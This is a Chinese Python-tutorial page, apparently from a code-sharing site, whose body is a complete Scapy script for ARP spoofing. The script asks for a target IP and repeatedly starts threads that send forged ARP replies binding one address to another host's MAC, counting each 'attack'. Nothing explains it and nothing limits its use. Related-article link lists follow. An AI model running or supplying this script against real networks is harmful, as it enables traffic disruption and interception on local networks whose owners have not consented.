python发送arp欺骗攻击代码分析


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount
BROADCASTMAC = getmacbyip('192.168.0.120')
class Loop(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        global BROADCASTMAC
        arp = ARP()
        arp.psrc = '192.168.0.251'
        arp.hwsrc = BROADCASTMAC
        arp.pdst = self.ip
        arp.op = 2
        sr1(arp,verbose = 0,retry = 0,timeout = 3)
class Main(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        limit = 100
        total = 0
        while True:
            if activeCount() < limit:
                Loop(self.ip).start()
                total = total + 1
            print '目前已进行了ARP攻击的次数为:'+str(total)
if __name__ == '__main__':
    ip = raw_input('请输入要进行ARP攻击的机器IP:')
    Main(ip = ip).start()
Python 相关文章推荐
Python中join和split用法实例
Apr 14 Python
python的exec、eval使用分析
Dec 11 Python
详解用Python处理HTML转义字符的5种方式
Dec 27 Python
Python用5行代码写一个自定义简单二维码
Oct 21 Python
对python中xlsx,csv以及json文件的相互转化方法详解
Dec 25 Python
Django RBAC权限管理设计过程详解
Aug 06 Python
Pytorch 实现自定义参数层的例子
Aug 17 Python
python 提高开发效率的5个小技巧
Oct 19 Python
Pytest allure 命令行参数的使用
Apr 18 Python
Python 可迭代对象 iterable的具体使用
Aug 07 Python
Python爬虫入门案例之爬取去哪儿旅游景点攻略以及可视化分析
Oct 16 Python
移除Selenium中window.navigator.webdriver值
Jun 10 Python
分析python服务器拒绝服务攻击代码
Jan 16 #Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
You might like
一个odbc连mssql分页的类
2006/10/09 PHP
多个PHP中文字符串截取函数
2013/11/12 PHP
浅析Laravel5中队列的配置及使用
2016/08/04 PHP
PHP 5.6.11 访问SQL Server2008R2的几种情况详解
2016/08/08 PHP
修改发贴的编辑功能
2007/03/07 Javascript
js局部刷新页面时间具体实现
2013/07/04 Javascript
JS获取各种浏览器窗口大小的方法
2014/01/14 Javascript
一个检测表单数据的JavaScript实例
2014/10/31 Javascript
简单分析javascript面向对象与原型
2015/05/21 Javascript
javascript跑马灯抽奖实例讲解
2020/04/17 Javascript
JS实现iframe自适应高度的方法(兼容IE与FireFox)
2016/06/24 Javascript
用js动态添加html元素,以及属性的简单实例
2016/07/19 Javascript
AngularGauge 属性解析详解
2016/09/06 Javascript
Bootstrap Table使用心得总结
2016/11/29 Javascript
JS开发中百度地图+城市联动实现实时触发查询地址功能
2017/04/13 Javascript
React简单介绍
2017/05/24 Javascript
JavaScript中严格判断NaN的方法
2018/02/16 Javascript
js字符串倒序的实例代码
2018/11/30 Javascript
从零开始实现Vue简单的Toast插件
2018/12/03 Javascript
JavaScript实现无限级递归树的示例代码
2019/03/29 Javascript
微信小程序使用 vant Dialog组件的正确方式
2020/02/21 Javascript
Vue elementui字体图标显示问题解决方案
2020/08/18 Javascript
vue+elementUI实现简单日历功能
2020/09/24 Javascript
让python同时兼容python2和python3的8个技巧分享
2014/07/11 Python
Python编程之Re模块下的函数介绍
2017/10/28 Python
微信跳一跳python辅助软件思路及图像识别源码解析
2018/01/04 Python
Python sorted函数详解(高级篇)
2018/09/18 Python
python3人脸识别的两种方法
2019/04/25 Python
python 缺失值处理的方法(Imputation)
2019/07/02 Python
利用Python中的Xpath实现一个在线汇率转换器
2020/09/09 Python
养殖项目策划书范文
2014/01/13 职场文书
人力管理专业毕业生求职信
2014/02/27 职场文书
恰同学少年观后感
2015/06/08 职场文书
航班延误投诉信
2015/07/02 职场文书
2015年公司中秋节致辞
2015/07/31 职场文书
JavaScript 反射学习技巧
2021/10/16 Javascript